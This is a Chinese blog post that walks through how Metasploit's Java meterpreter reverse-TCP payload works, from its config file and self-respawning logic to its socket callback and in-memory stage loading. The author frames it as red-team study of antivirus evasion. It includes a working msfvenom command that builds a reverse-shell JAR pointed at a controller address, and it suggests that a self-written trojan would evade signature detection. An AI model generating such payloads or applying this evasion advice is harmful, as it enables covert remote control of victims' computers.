首页 > 编程语言 >【MSF代码审计】Java木源码分析

【MSF代码审计】Java木源码分析

时间:2025-01-13 23:22:48浏览次数:1  
标签:metasploit 文件 Executable Java 配置文件 获取 spawn 源码 MSF

免责声明

由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,一旦造成后果请自行承担!

很喜欢一位师傅说的话:"红队能有很多标准板和长板,但是不能有短板"。今天学习免杀,msf 开源的可以分析代码,那就先来看看 msf 怎么写的吧
开启分析之路
1、生成一个 jar 吧:
【kali】:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 > 1.JAR

2、打开 IDEA 反编译 jar 包:

3、分析:

(1) MANIFEST.MF 文件
定义了一些信息和从哪里运行这些文件

(2)metasploit.dat文件
三个值 对应生成木马时候的控制端地址和端口 spawn 在最后一个文件要用到

(3) payload.class 文件
从代码第一行开始 payload 类继承 classloader, 功能是获取操作系统 / 路径分隔符 / 判断 AIX / 判断路径分隔符 / 获取 java 安装路径

分析到后面其实这里和最后几行对应

来到 main 函数,开始也是各种获取加载

  • 现在 metasploit.dat 文件里的内容就给到 Properties var1 这个对象了
  • var2 就是 class metasploit.Payload
  • var3 就是 metasploit/Payload.class
  • var4 判断 metasploit.dat 不为空是真真正正存在的话就通过流加载一下然后就关掉了

接下来到 var5, 判断有没有 Executable, 结果是没有的,第一个 if 就不进去了,当然也要来看看它干了什么

  • 1.如果字段不为空
  • 2.获取系统一定存在的系统路径
  • 3.在一定存在的系统路径下创建"~spawnxxxx.tmp.dir"文件
  • 4.在创建dir下创建一个文件名为 配置文件key为Executable的目录
  • 5.调用方法1.反射获取到Payload的对象,2.Executable的值,3.创建的文件(内部将Executable的值写入到创建的新文件下)
  • 6.删除配置文件中的Executable
  • 7.配置文件写入DroppendExecutable值为新创建的值的不同操作系统的绝对路径

接下来就到 spawn 的值了,看配置里有没有 spawn, 有就是它自己,没有就给 0

到第二个 if

  • 如果i>0,将var19减去1重新赋值给配置文件的spawn
  • 1.file var9为 获取当前系统临时路径.dir
  • 2.file var10为 临时文件/metasploit.dat
  • 3.file var11为 临时文件/metasploit.Payload.class
  • 4.创建这个临时路径
  • 5.将文件写入其中

做了一件什么事情呢,就是把这个文件复制一份到了临时文件目录下,不同就是 spawn 减了 1

↓接下来的第三和第四个 if 获取的东西都没有就不看了

接下来是这一部分重点,exec 就是自己去运行自己之前创建的那个文件,类似递归

跳过下一个 else, 看下面的最后一个 else

  • 1.var21获取配置文件中回连的端口
  • 2.var22获取配置文件中回连的地址
  • 3.var23获取配置文件中回连的url,没有,就为空
  • 4.如果var21<=0,就是看端口是不是正给对了,没给对就让控制台给我一个,从外面给一个,这里不会去走
  • 5.var23!=null,这里也不会走

接下来又是重点

  • 1.new了一个Socket的对象
  • 2.建立了一个socket连接
  • 3.从socket那边获取到数据,控制端这时候就给客户端传数据了,给到var24
  • 4.然后创建一个输出流,返回数据给控制端

然后再下面就是客户端把木马推到内存当中,这连接就完成了

下面都是一些推到内存 / 写文件... 的实现方法了,都是辅助上面的主线路,就不分析了

总结:

1、开局获取了一堆系统配置,跟 Java 有关系,因为 Java 是跨平台运行的,判断系统配置能区分 Windows 和 Linux 系统以便更好的运行一些命令。
2、反射 payload 类,核心获取 spawn 值,直到减到 0, 拉那么多线程目的应该是对杀软有一些作用,不过国内都是 md5 值对比,对内存操作的应该是为了对应国外的杀软。
3、建立 socket 连接,获取控制端发来的大马,然后通过方法把大马推入内存。

后面还去看了 msf 的 python 马,原理都差不多,其实它的本质是什么,本质就是远控,远控要怎么做
(1) 消息传输 ⏩ socket 连接 控制端 whoami ⏩ 客户端
(2) 命令执行 ⏩ runtime 类 exec...
(3) 执行结果回传 ⏩ IO 流

原理其实很简单,但是为什么会被杀呢,被杀就是因为太多人用了,特征库里有它的特征,那要是自己写一个只有自己用呢,估计能用很久吧

标签:metasploit,文件,Executable,Java,配置文件,获取,spawn,源码,MSF
From: https://www.cnblogs.com/o-O-oO/p/18669606

相关文章

  • Java基础
    数据类型强类型语言要求变量的使用要严恪符合规定,所有变量都必须先定义后才能使用,初始化(安全)而JavaScript是弱类型语言八大基本数据类型publicclassDemo02{publicstaticvoidmain(String[]args){//八大基本数据类型 //整数 intnum1=10;//最......
  • 05 Java数组
    数组概论数组是相同类型数据的有序集合。它由相同类型的若干数据按一定先后次序排列组合而成。其中每个数据叫数组元素,可通过下标来访问这些元素。数组声明创建要使用数组,得先声明数组变量,有两种语法:dataType[]arrayRefVar; //首选的方法或dataTypearrayRefVar[];......
  • Java流程控制
    用户交互Scannerimportjava.util.Scanner;publicclassMain{publicstaticvoidmain(String[]args){System.out.println("Helloworld!");//从键盘接收数据Scannerscanner=newScanner(System.in);//判断用户有......
  • Java方法
    java只有值传递方法的重载命令行传参有时候希望运行一个程序的时候再传递给他消息,这就要靠传递命令行参数给main()函数实现。publicclassDemo01{publicstaticvoidmain(String[]args){for(inti=0;i<args.length;i++){System.out.......
  • Java程序基础⑦Java继承和多态
    目录1.继承1.1引入继承1.2继承的概念和语法1.3父类成员访问1.4super关键字1.5 子类构造方法1.6继承时的初始化1.7 继承的方式1.8final关键字2.多态2.1多态的概念2.2多态的实现条件2.3重写2.4向上转型和向下转型2.4.1向上转型2.4.2向下转型2.5......
  • python bs4 selenium 查找a href=javascript:();的实际点击事件和url
    在使用BeautifulSoup和Selenium时,处理href="javascript:;"的链接需要一些额外的步骤,因为这些链接不直接指向一个URL,而是通过JavaScript代码来执行某些操作。这可能包括导航到另一个页面、触发模态窗口、显示/隐藏内容等。以下是如何使用Selenium来查找和处理这......
  • 4位二进制乘法器设计与实现:从逻辑门到LED显示的完整硬件乘法解决方案(含有源码资料)
    一、设计目的:**理解数字乘法运算:**通过实现一个4位乘法器,深入理解乘法的硬件实现原理,掌握乘法的位级操作。**学习数字逻辑设计:**通过使用逻辑门、乘法器电路、开关和LED等元件,了解数字逻辑设计的基础知识。**掌握输入/输出接口:**通过拨码开关和发光二极管(LED),学习如何将输......
  • 基于STM32C6T6的智能小车设计:自动寻迹、避障与无线控制全解析(含有源码资料)
    一、设计要求:1.1功能要求:设计并制作一个基于STM32C6T6核心板的智能小车,具备自动寻迹、避障和无线控制功能。小车应能够沿着不规则的黑色轨迹行驶,遇到障碍物时能够自动绕行,并可通过蓝牙模块进行无线控制。自动寻迹:小车应能够沿着不规则的黑色轨迹行驶,根据五路灰度循迹模块的......
  • 创新LED电子钟:断电记忆+红外遥控,智能闹铃一键掌控(含有源码资料)
    一.前言本设计介绍了一款创新的LED电子钟,它不仅克服了传统电子钟在断电后需要重新设置时间等参数的弊端,而且还采用了家电通用的红外遥控器进行控制,极大地方便了用户的使用。该电子钟具备一路闹铃输出功能,用户可以通过遥控器轻松设置闹铃时间以及闹铃的开关状态。首先,这款LE......
  • java第二章数组学习
    java第二章数组数组的概念和特点数组(Array),是多个相同类型数据按一定顺序排列的集合,并使用一个名字命名,并通过编号的方式对这些数据进行统一管理。特点数组本身是引用数据类型,而数组中的元素可以是任何数据类型,包括基本数据类型和引用数据类型。创建数组对象会在内存中开......